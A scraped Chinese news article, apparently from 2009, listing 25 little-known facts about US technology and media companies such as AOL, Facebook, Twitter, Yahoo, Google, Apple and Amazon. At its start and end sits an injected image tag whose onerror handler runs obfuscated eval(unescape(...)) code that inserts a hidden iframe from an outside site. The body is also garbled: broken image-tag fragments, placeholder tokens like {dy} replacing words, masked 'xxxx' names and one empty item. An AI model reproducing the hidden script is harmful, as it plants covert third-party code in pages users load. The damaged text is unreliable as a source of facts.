0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

导读：美国知名科技博客今天罗列了科技和传媒行业中不为人知的25件事情，其中有很多都与人们的“常识”相悖。

1.AOL最初是一家点播视频游戏服务，并于1983年推出

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=图片：GameLine alt=美IT业25大秘密：Facebook耗时一周建成 src="http://i1.sinaimg.cn/IT/2009/0721/20097210324.jpg" mce_src="http://i1.sinaimg.cn/IT/2009/0721/20097210324.jpg">

以下内容摘自1983年《Antic》杂志：

借助一项名为GameLine 的新颖服务，Atari VCS游戏机的用户现在已经可以“通过电话”来玩视频游戏了。尽管现在支持的游戏还非常有限，但GameLine计划面向数百万游戏机用户推出其他几项服务，以便用户可以通过“MyFirst Computer”这样的可编程适配器来升级游戏机。

GameLine是Control Video Corporation的一个部门，它由 威廉-范米斯特(William vonMeister)创办。范米斯特还创办了一家名为TheSource的热线电话数据服务公司。为了吸引用户，GameLine为全国性视频游戏竞赛赞助可观的奖品。这些竞赛加上相对廉价的服务，或许可以大幅改变视频游戏的购买习惯，并进一步拓展VCS游戏机的使用寿命。

要获取GameLine的服务就必须要花50美元购买一款名为MasterModule外设。这其实是一款高速调制解调器，它具备板载内存，可以自动拨打GameLine的免费电话并接收用户所选的游戏。GameLine已经获得了大量热门游戏的授权，随着这项服务的发展，还将增加更多的游戏。

除了Master Module之外，玩家还必须花15美元成为GameLine的会员。每款游戏的下载费用为1美元，每次下载后都可以玩5到10次。这就让游戏玩家可以在真正购买游戏带前首先对其进行测试，而且，这种方式产生的花费也比游戏厅要低。

如今，范米斯特的公司早已改名为AOL。

2.《xxxx》1983年开始对在线内容收费，每月12美元

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=图片：Viewtron订阅界面 alt=美IT业25大秘密：Facebook耗时一周建成 src="http://i3.sinaimg.cn/IT/2009/0721/20097210245.jpg" mce_src="http://i3.sinaimg.cn/IT/2009/0721/20097210245.jpg">

以下内容摘自科技博客ValleyWag：

1983年，报业集团KnightRidder与AT&T合作推出电视文字服务Viewtron。只要拥有一部专用终端、一条电话线而且每月交纳12美元的费用，就可以获得来自《迈阿密先驱报》和《xxxx》的新闻，并享受在线服务、在线银行和网上订餐等服务。配套的调制解调器速度为300波特。Viewtron副总裁诺曼-莫里森(Norman Morrison)说：“我们处于家庭信息技术的初期。我们正在历史舞台上光着身子跳舞。”1984年，KnightRidder为Viewtron项目计入1600万美元的亏损。在KnightRidder集团1986年决定关闭Viewtron服务之前，该服务的订阅用户达到3100人。令人惊奇的是，所有的设备成本仅为600美元至900美元之间。

3、斯蒂夫-凯斯(Steve Case)并非AOL创始人

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=图片：斯蒂夫-凯斯 alt=美IT业25大秘密：Facebook耗时一周建成 src="http://i0.sinaimg.cn/IT/2009/0721/200972102338.jpg" mce_src="http://i0.sinaimg.cn/IT/2009/0721/200972102338.jpg">

以下内容摘自《名利场》：

在1983年的消费电子展(CES)上，当时在投资银行Hambrecht & Quist工作的凯斯的兄弟丹向凯斯介绍了TheSource创始人范米斯特。威廉-范米斯特是当时享有盛誉的投资家和企业家，他还运营着Control VideoCorporation，该公司出品的一款名为GameLine的服务允许注册用户将视频游戏下载到Atari2600家用游戏机上。在1983年的消费电子展上，范米斯特和他的首席技术官马克-瑟利夫(MarcSeriff)订购了数千款产品。他们还当场将时年25岁的凯斯招聘为营销顾问。瑟利夫回忆道：“他没有什么资历。”但凯斯却富有激情、非常阳光且乐观向上，更重要的是，他哥哥丹所在的公司当时已经投资了Control Video。

4.《xxxx》最早叫《纽约每日时报》(New-York Daily Times)

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=图片：《纽约每日时报》 alt=美IT业25大秘密：Facebook耗时一周建成 src="http://i2.sinaimg.cn/IT/2009/0721/20097210239.jpg" mce_src="http://i2.sinaimg.cn/IT/2009/0721/20097210239.jpg">

以下内容摘自1851年9月18日出版的《纽约每日时报》自述文件：

我们今天将出版{dy}份《纽约每日时报》，该报计划每早发行(周日除外)，xx关闭。

如果没有对困难的充分考虑以及所获得的鼓励，我们无法完成在这个城市创建一份新报纸的任务。我们非常清楚，想要获得成功就必须付出需要巨大的资金、巨大的努力和巨大的耐心，即便如此，我们也不会失败。

5.1978年8月10日至11月5日期间，《xxxx》停印

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=图片：《非xxxx》 alt=美IT业25大秘密：Facebook耗时一周建成 src="http://i0.sinaimg.cn/IT/2009/0721/200972102239.jpg" mce_src="http://i0.sinaimg.cn/IT/2009/0721/200972102239.jpg">

以下内容摘自《xxxx》：

讽刺新闻的现代化标准是在1978年10月订立的，当时出版了一期，也是{wy}一期《非xxxx》(Not The New York Times)。这是一份惟妙惟肖的复制品。那时，由于罢工，真正的《xxxx》并未出版，而且互联网也没有诞生。

由于正牌《xxxx》长时间没能出版，人们开始阅读《非xxxx》，这份报纸从{dy}页到{zh1}一页都跟《xxxx》极其相似。

6.《xxxx》的印刷成本相当于为每位订阅者免费赠送两部Kindle

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=图片：《xxxx》与Kindle alt=美IT业25大秘密：Facebook耗时一周建成 src="http://i3.sinaimg.cn/IT/2009/0721/200972102140.jpg" mce_src="http://i3.sinaimg.cn/IT/2009/0721/200972102140.jpg">

以下内容摘自科技博客Silicon Alley Insider：

根据xxxx公司的Q308 10-Q文件，该公司每个季度的原材料成本为6300万美元，工资和福利成本为1.48亿美元。据说，编辑部的工资和福利成本每年为2亿美元。

将每季度成本乘以4，再减去2亿美元，就可以估算出《xxxx》每月的投递成本约为6.44亿美元。

Kindle的零售价为356美元。而《xxxx》发言人凯瑟琳-马茜丝(Catherine Mathis)最近写道：“我们拥有83万忠实读者，他们订阅《xxxx》的时间都超过2年。”将订阅人数乘以359美元得出2.97亿美元，不到6.44亿美元的一半。

还有消息人士透露，真实的投递成本远高于上面的估算。那么《xxxx》是否会强迫所有的订阅用户使用Kindle或其他电子书阅读器呢？不会，因为这样会掐断广告收入来源，而且也并不是所有人都喜欢Kindle。

7.Facebook耗时一周建成

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=Facebook耗时一周建成 alt=美IT业25大秘密：Facebook耗时一周建成 src="http://i2.sinaimg.cn/IT/2009/0721/20097210213.jpg" mce_src="http://i2.sinaimg.cn/IT/2009/0721/20097210213.jpg">

以下摘自2004年2月9日的哈佛大学校刊《哈佛红》(Harvard Crimson)网络版：

在经过了1周的编码后，扎克伯格于上周三下午发布了thefacebook.com。这个网站将标准的校友录元素与一些额外的功能整合到一起，让学生们可以搜索自己所修课程的其他同学、社交组织以及宿舍。

8.Facebook最初只是为了弥补Facemash的不足

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=Facebook创始人兼CEO马克-扎克伯格 alt=美IT业25大秘密：Facebook耗时一周建成(2) src="http://i3.sinaimg.cn/IT/2009/0721/200972102018.jpg" mce_src="http://i3.sinaimg.cn/IT/2009/0721/200972102018.jpg">

以下摘自2004年2月9日的哈佛大学校刊《哈佛红》(Harvard Crimson)网络版：

扎克伯格说，它希望这个网站的隐私选项可以帮助他恢复声誉。此前，他于去年秋天创办的facemash.com曾引起了同学们的不满。

在未经许可的情况下，Facemash从哈佛大学本科生中随机抽取两个人的照片并让用户评判他们的外貌和吸引力。这一做法引发了学生的不满，校方也持同样的态度，迫于压力，扎克伯格在该网站发布后的几天便将其关闭。

9.扎克伯格创办Facebook并无营利计划

摘自：2004年1月9日《Harvard Crimson》网络版

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=马克·扎克伯格 alt=美IT业25大秘密：Facebook耗时一周建成(2) src="http://i1.sinaimg.cn/IT/2009/0721/200972101925.jpg" mce_src="http://i1.sinaimg.cn/IT/2009/0721/200972101925.jpg">

马克·扎克伯格(MarkZuckerberg)称，Facebook.com将在xx前推出多项新功能，他同时表示，创办Facebook时并不打算获取收入。扎克伯格表示：“我不会出售任何人的电子邮件地址。我一度曾打算将Facebook作为用户上传简历的网站，并向在此网站搜索哈佛求职者的企业收费。但我不想那样做，那将使一切变得过于严肃而缺乏乐趣。”

10.Twitter是其创始人的副产品

摘自：How Stuff Works网站

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=埃文·威廉姆斯 alt=美IT业25大秘密：Facebook耗时一周建成(2) src="http://i2.sinaimg.cn/IT/2009/0721/200972101850.jpg" mce_src="http://i2.sinaimg.cn/IT/2009/0721/200972101850.jpg">

Twitter的历史与其它几个网络企业密切相关。Twitter创始人为埃文·威廉姆斯(EvanWilliams)、比兹·斯通(BizStone)和杰克·多尔西(JackDorsey)。在Twitter诞生前几年，威廉姆斯创办了博客网站Blogger，该网站后来被谷歌收购，威廉姆斯也同时加盟谷歌。不久以后，他和谷歌员工斯通双双离职并创办了播客网站Odeo。威廉姆斯透露，他个人对播客并没有兴趣，在他的带领下，Odeo曾一度迷失业务方向。但该网站的产品之一，即微博客服务Twitter却恰好开始获得关注。Twitter的意思是小鸟啾啾叫的意思，斯通用此短语形容他们推出的短消息服务。

随着Twitter服务成为Odeo中最为重要的部分，斯通和威廉姆斯决定成为一家将Twitter作为旗舰产品的新公司。

11.Twitter创始人在最初创意失败后将投资退还给投资人

摘自：Twitter CEO埃文·威廉姆斯(Evan Williams)于2006年9月发表的博客

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=埃文·威廉姆斯 alt=美IT业25大秘密：Facebook耗时一周建成(2) src="http://i2.sinaimg.cn/IT/2009/0721/20097210181.jpg" mce_src="http://i2.sinaimg.cn/IT/2009/0721/20097210181.jpg">

我非常高兴地宣布一件一直以来希望宣布的事情。Odeo已经被一家名为Obvious的新公司所收购，Obvious是我在长期搭档比兹·斯通(Biz Stone)和Odeo其他员工帮助下所创办的公司。

Obvious已从投资人和其他股东手中收购了Odeo的所有资产，包括odeo.com和twitter.com，并将继续运营原来的服务。Obvious是全部由我投资的公司，也将创办其他的业务。

我认为，我们所创建的Odeo和Twitter都具备极高的价值，但在原有的结构下，我们无法获得希望的成功。新的公司将借助新的结构和新的模式建立并运营网络产品。{zh1}，我只是希望创办一家更富乐趣的公司，对我而言，工作中的乐趣意味着充分的自由、大量的创造力、与我尊敬和喜欢的人工作，并将可行的疯狂创意变为现实。我无须讨好高管或董事会、融资，担心投资人的预期或变现。

这可能很愚蠢，可能很天真，也可能有些自私和异想天开。坦率地讲，这可能无法实现。但我所知道的是，这让我比原来长期以来的工作更让我感到非常兴奋，而兴奋和大胆的举动常常会取得伟大的成就。

12.雅虎最初名为“杰瑞和戴维的WWW指南”

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=雅虎最初名为“杰瑞和戴维的WWW指南” alt=美IT业25大秘密：Facebook耗时一周建成(2) src="http://i0.sinaimg.cn/IT/2009/0721/200972101649.jpg" mce_src="http://i0.sinaimg.cn/IT/2009/0721/200972101649.jpg">

摘自：雅虎媒体关系网站

雅虎最初推出的时候，是作为“杰瑞和戴维的WWW指南”面世的，杰瑞和戴维分别是杨致远和另一位联合创始人大卫·费罗(DavidFilo)的名字。杨致远和费罗很快发现，并不是只有他们才需要一个地方来快速找到有用的网站。雅虎于1994年秋天首次达到了日点击量超过100万的纪录，相当于近10万独立访问用户。

13.雅虎是“Yet Another Hierarchical Officious Oracle”的首字母缩写

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=雅虎名称的由来 alt=美IT业25大秘密：Facebook耗时一周建成(2) src="http://i2.sinaimg.cn/IT/2009/0721/20097210167.jpg" mce_src="http://i2.sinaimg.cn/IT/2009/0721/20097210167.jpg">

摘自：雅虎媒体关系网站

雅虎的名字是“Yet Another Hierarchical Officious Oracle”的首字母缩写，但杨致远和费罗更愿意使用雅虎的常用定义，即该单词代表了“粗鲁、单纯、笨拙”之意。

14.雅虎首次公开招股仅融得3380万美元

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=雅虎联合创始人杨致远和费罗 alt=美IT业25大秘密：Facebook耗时一周建成(2) src="http://i2.sinaimg.cn/IT/2009/0721/200972101449.jpg" mce_src="http://i2.sinaimg.cn/IT/2009/0721/200972101449.jpg">

摘自：1996年4月份CNET网站

雅虎前10个月销售收入为140万美元，亏损64.3万美元。雅虎的上市承销商为高盛，纳斯达克交易代码为“YHOO”。该公司昨晚宣布，将以每股13美元的价格发行260万股。作为网络上{zlx}的搜索引擎，雅虎预计将通过首次公开招股融资3250万美元。

15.苹果实际上有3名创始人

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=苹果的第3名创始人 alt=美IT业25大秘密：Facebook耗时一周建成(3) src="http://i1.sinaimg.cn/IT/2009/0721/200972101341.jpg" mce_src="http://i1.sinaimg.cn/IT/2009/0721/200972101341.jpg">

摘自：《网络世界》网站

与常见的说法不同，苹果实际上是3个人联手创办的，分别是史蒂夫·乔布斯(Steve Jobs)、史蒂夫·沃兹尼克(SteveWozniak)和罗纳德·韦恩(RonaldWayne)。韦恩最初与乔布斯一起在Atari工作，他起草了苹果的首份合同、设计了苹果的{dy}个Logo，同时也是AppleI的使用手册作者。尽管开始时韦恩获得了苹果10%的股权，但从没有特意提及自己是苹果联合创始人，因为他在收到股份后两周就把它们卖掉了。

16.{sk}苹果电脑价格为666.66美元

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title={sk}苹果电脑的广告 alt=美IT业25大秘密：Facebook耗时一周建成(3) src="http://i2.sinaimg.cn/IT/2009/0721/200972101243.jpg" mce_src="http://i2.sinaimg.cn/IT/2009/0721/200972101243.jpg">

摘自：苹果{dy}个广告

通过附加的键盘和显示器，你可以拥有一个无所不能的强大计算机系统，包括玩游戏、开发程序或运行BASIC。这款1Mhz CPU、4KB内存、1KB显存的电脑售价为666.66美元。

17.美国有9个州没有苹果零售店

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=在苹果零售店购物的用户 alt=美IT业25大秘密：Facebook耗时一周建成(3) src="http://i0.sinaimg.cn/IT/2009/0721/200972101210.jpg" mce_src="http://i0.sinaimg.cn/IT/2009/0721/200972101210.jpg">

摘自：《网络世界》网络版

苹果在全球9个国家有240家零售店，但在美国却并非所有州都有该公司的零售网点。截至目前为止，美国阿拉斯加、阿肯色州、爱达荷州、蒙大拿州、北达科他州、南达科他州、佛蒙特州、西弗吉尼亚和怀俄明州等9个州都没有苹果的零售店。

18。谷歌每年因为“手气不错”(I'm feeling lucky)按键收入减少1.1亿美元

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=谷歌搜索框下方的“手气不错” alt=美IT业25大秘密：Facebook耗时一周建成(3) src="http://i0.sinaimg.cn/IT/2009/0721/200972101043.jpg" mce_src="http://i0.sinaimg.cn/IT/2009/0721/200972101043.jpg">

摘自硅谷闲话(Valleywag)

谷歌创始人谢尔盖·布林(SergeyBrin)表示，谷歌大约1%的搜索量是通过“手气不错”按键进行的。由于这个按键会替用户直接打开{dy}个搜索结果，谷歌就不能在1%的搜索上显示搜索广告了。据广告分析公司Rapt的汤姆·查维斯(Tom Chavez)预计，谷歌每年因这个而收入减少大约1.1亿美元。

19.谷歌名字来源于拼写错误

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=图为：谷歌搜索网页截图 alt=美IT业25大秘密：Facebook耗时一周建成(3) src="http://i0.sinaimg.cn/IT/2009/0721/20097210952.jpg" mce_src="http://i0.sinaimg.cn/IT/2009/0721/20097210952.jpg">

摘自硅谷闲话

谷歌搜索引擎和谷歌公司名字的由来：是斯坦福大学学生肖恩·安德森(Sean Anderson)给谷歌创始人拉里·佩奇(Larry Page)带来了这个名字

当时安德森和佩奇坐在办公室，试图想出一个好名字——和海量数据索引有关的名字。安德森说到了“googolplex”一词(意思是1后面有10的100次方个0)，而佩奇就提到了这个词的缩略版“googol”(即1后面100个0)。当时安德森正坐在电脑前面，就在互联网域名注册数据库里面搜索了一下，看看这个新想出来的名字是有没有被注册和使用。安德森犯了个拼写错误，他在搜索中把这个词打成了"google.com"，他发现这个域名可以使用。这就是谷歌的由来。

20.谷歌最初叫“BackRub”

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title="图为： 佩奇手的照片" alt=美IT业25大秘密：Facebook耗时一周建成(3) src="http://i0.sinaimg.cn/IT/2009/0721/20097210840.jpg" mce_src="http://i0.sinaimg.cn/IT/2009/0721/20097210840.jpg">

摘自硅谷闲话

在佩奇和布林因为拼写错误诞生了谷歌这个名称之前，佩奇把他在斯坦福的这个项目称为BackRub。Blogoscoped网站认为这个名字来源于佩奇使用的算法，他用导入链接来判断一个搜索结果的相关性。我们只是觉得这个名字有点恶，尤其是考虑到谷歌现在已经成为了一个动词。不妨想象一下，数百万人{yt}到晚都在“BackRub”——这似乎有点变态。顺便说一下，这图是佩奇多毛的左手。

21.{dy}家通过谷歌自动拍卖系统购买并投放广告的公司是一家龙虾商店。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=谷歌的{dy}家客户为龙虾商店 alt=美IT业25大秘密：Facebook耗时一周建成(3) src="http://i3.sinaimg.cn/IT/2009/0721/2009721087.jpg" mce_src="http://i3.sinaimg.cn/IT/2009/0721/2009721087.jpg">

摘自Wired网

谷歌的广告总是与搜索查询有关的简单文本条。但最初，谷歌有两种广告，在页面顶部的是传统的广告，由一组人员主要在纽约进行销售。销售人员在晚餐的时候招徕大客户，解释关键词是什么意思以及卖什么价位。广告客户随后按照用户访问量付钱，无论是否有人点击这则广告。在页面右侧的是较小企业可以直接在网上购买的其他广告。2000年，就在谷歌刊登了一份链接阅读数分钟之后，一家龙虾商店购买了{dy}份此类广告。

22.谷歌试图根据当天的温度预测广告的点击率。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title="图为 谷歌大门" alt=美IT业25大秘密：Facebook耗时一周建成(3) src="http://i2.sinaimg.cn/IT/2009/0721/20097210725.jpg" mce_src="http://i2.sinaimg.cn/IT/2009/0721/20097210725.jpg">

摘自SAI:

谷歌曾试图根据当天的温度来预测哪些广告会获得点击。如果你想想“滑雪靴”和“xxx”等搜索的话，这还是有道理的。

23.《华盛顿邮报》有自己的主题歌

24.杰夫·贝索斯(Jeff Bezos) 的父亲开出了一张30万美元的支票资助亚马逊

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=图为贝索斯 alt=美IT业25大秘密：Facebook耗时一周建成(3) src="http://i1.sinaimg.cn/IT/2009/0721/20097210531.jpg" mce_src="http://i1.sinaimg.cn/IT/2009/0721/20097210531.jpg">

摘自《xxxx》

1994年，贝索斯还是一位30岁的对冲基金分析师，拥有普林斯顿大学的计算机科学与电机工程学位。他想出了在网上卖书的主意。贝索斯原先打算把这个网站叫“Cadabra”，但后来意识到这个名字听起来太像“尸首”(cadaver)。最终他选定了“亚马逊”一词，原因之一是他觉得这个名字能够传递他计划销售的书籍的广泛宽度。

贝索斯的父亲、埃克森美孚一位工程师给了他一张30万美元的支票。贝索斯夫妇最终在华盛顿州贝尔维市开始了他们的事业。

25.亚马逊卖出的{dy}本书是《流动性理念和创造性类比：思维基本机制的电脑模式》(Fluid Concepts& Creative Analogies: Computer Models of the Fundamental Mechanismsof Thought)

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" title=图为该书网络截图 alt=美IT业25大秘密：Facebook耗时一周建成(3) src="http://i1.sinaimg.cn/IT/2009/0721/20097210432.jpg" mce_src="http://i1.sinaimg.cn/IT/2009/0721/20097210432.jpg">

亚马逊在1995年7月卖出了这本书。

摘自亚马逊

本书作者侯世达(Douglas Hofstadter)因《哥德尔、埃舍尔、巴赫：集异璧之大成》(G?del, Escher,Bach: an Eternal GoldenBraid)一书而声名大噪。侯世达在发人深思的《流动性理念和创造性类比》一书中探索了人工智能和机器学习。这是他与密歇根大学的流动性类比研究小组(Fluid Analogies Research Group)共同创作的。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_200_200.html%20width%3D200%20height%3D200%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">